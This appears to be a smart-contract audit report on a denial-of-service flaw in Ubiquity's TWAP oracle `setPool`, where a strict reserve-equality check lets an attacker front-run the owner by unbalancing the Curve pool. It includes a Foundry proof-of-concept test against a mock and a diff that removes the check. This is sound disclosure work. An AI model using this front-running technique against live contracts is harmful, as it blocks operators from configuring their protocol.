High Velvet Urchin

medium

# DOS Risk in `TWAPOracleDollar3poolFacet::setPool` Function

## Summary

## Vulnerability Detail

There is a `DOS` risk when owners attempt setting a curve metapool as a `TWAP` oracle via [TWAPOracleDollar3poolFacet::setPool](https://github.com/sherlock-audit/2023-12-ubiquity/blob/d9c39e8dfd5601e7e8db2e4b3390e7d8dff42a8e/ubiquity-dollar/packages/contracts/src/dollar/facets/TWAPOracleDollar3poolFacet.sol#L18-L23) functionality.

The issue arises due to a strict equality check between both reserves in [LibTWAPOracle::setPool](https://github.com/sherlock-audit/2023-12-ubiquity/blob/d9c39e8dfd5601e7e8db2e4b3390e7d8dff42a8e/ubiquity-dollar/packages/contracts/src/dollar/libraries/LibTWAPOracle.sol#L51):
```solidity
        //Ensure that pair balance is perfect
        require(_reserve0 == _reserve1, "TWAPOracle: PAIR_UNBALANCED");
```

The problem is that an attacker can front-run the owner `setPool` call to add liquidity to one reserve in `Curve`, unbalancing the pair and causing a Denial of Service.

## POC

+ I have added a runnable POC demonstrating the issue below:

Please update `packages/contracts/src/dollar/mocks/MockMetaPool.sol` [add_liquidity](https://github.com/sherlock-audit/2023-12-ubiquity/blob/d9c39e8dfd5601e7e8db2e4b3390e7d8dff42a8e/ubiquity-dollar/packages/contracts/src/dollar/mocks/MockMetaPool.sol#L69-L81) function to:
```solidity
    function add_liquidity(
        uint256[2] memory _amounts,
        uint256 _min_mint_amount,
        address _receiver
    ) external returns (uint256 result) {
        mint(
            _receiver,
            _min_mint_amount == 0
                ? _amounts[0] > _amounts[1] ? _amounts[0] : _amounts[1]
                : _min_mint_amount
        );
        balances[1] += _min_mint_amount; //update fn to account for our update to the balance of token1 in test
        return result;
    }
```
then, add the below test to
`packages/contracts/test/diamond/facets/TWAPOracleFacet.t.sol`, and then run:
```solidity
forge test -vvv --match-path test/diamond/facets/TWAPOracleFacet.t.sol --match-test test_Revert
```
```solidity

    function test_Revert() public {
        MockMetaPool metaPool = new MockMetaPool(
            address(dollarToken),
            curve3CRVTokenAddress
        );
        address bob = address(0xB0b);

        //initial reserves are equal
        uint256 reserve0 = metaPool.balances(0);
        uint256 reserve1 = metaPool.balances(1);
        assertEq(reserve0, reserve1);

        vm.roll(block.number + 5);

        //bob notices owner txn then front runs the txn to add liquidity to one coin in the pool to unbalance the pool
        // hence, causing owner txn to fail
        vm.prank(bob);
        uint256[2] memory amounts = [uint256(0), uint256(10e18)];
        metaPool.add_liquidity(amounts, 10e18, bob);

        //Reserves are no longer equal
        assertGt(metaPool.balances(1), metaPool.balances(0));

        //goes on to revert on owner txn call, DOSSing all owner's set pool attempts
        vm.expectRevert("TWAPOracle: PAIR_UNBALANCED");
        vm.prank(owner);
        twapOracleDollar3PoolFacet.setPool(
            address(metaPool),
            curve3CRVTokenAddress
        );
    }

```

+ Here are the logs:
```solidity
[⠃] Compiling...
[⠔] Compiling 1 files with 0.8.19
[⠑] Solc 0.8.19 finished in 14.54s
Compiler run successful!

Running 1 test for test/diamond/facets/TWAPOracleFacet.t.sol:TWAPOracleDollar3poolFacetTest
[PASS] test_Revert() (gas: 1450709)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.21s
 
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)
```


## Impact

## Code Snippet
https://github.com/sherlock-audit/2023-12-ubiquity/blob/d9c39e8dfd5601e7e8db2e4b3390e7d8dff42a8e/ubiquity-dollar/packages/contracts/src/dollar/libraries/LibTWAPOracle.sol#L51


## Tool used

Manual Review

## Recommendation
As discussed with a sponsor, the below `require` check should be removed.

```diff
    function setPool(address _pool, address _curve3CRVToken1) internal {
        require(
            IMetaPool(_pool).coins(0) ==
                LibAppStorage.appStorage().dollarTokenAddress,
            "TWAPOracle: FIRST_COIN_NOT_DOLLAR"
        );
        TWAPOracleStorage storage ts = twapOracleStorage();

        // coin at index 0 is Ubiquity Dollar and index 1 is 3CRV
        require(
            IMetaPool(_pool).coins(1) == _curve3CRVToken1,
            "TWAPOracle: COIN_ORDER_MISMATCH"
        );

        uint256 _reserve0 = uint112(IMetaPool(_pool).balances(0));
        uint256 _reserve1 = uint112(IMetaPool(_pool).balances(1));

        // ensure that there's liquidity in the pair
        require(_reserve0 != 0 && _reserve1 != 0, "TWAPOracle: NO_RESERVES");
        // ensure that pair balance is perfect
--        require(_reserve0 == _reserve1, "TWAPOracle: PAIR_UNBALANCED"); 
        ts.priceCumulativeLast = IMetaPool(_pool).get_price_cumulative_last();
        ts.pricesBlockTimestampLast = IMetaPool(_pool).block_timestamp_last();
        ts.pool = _pool;
        // dollar token is inside the diamond
        ts.token1 = _curve3CRVToken1;
        ts.price0Average = 1 ether;
        ts.price1Average = 1 ether;
    }
```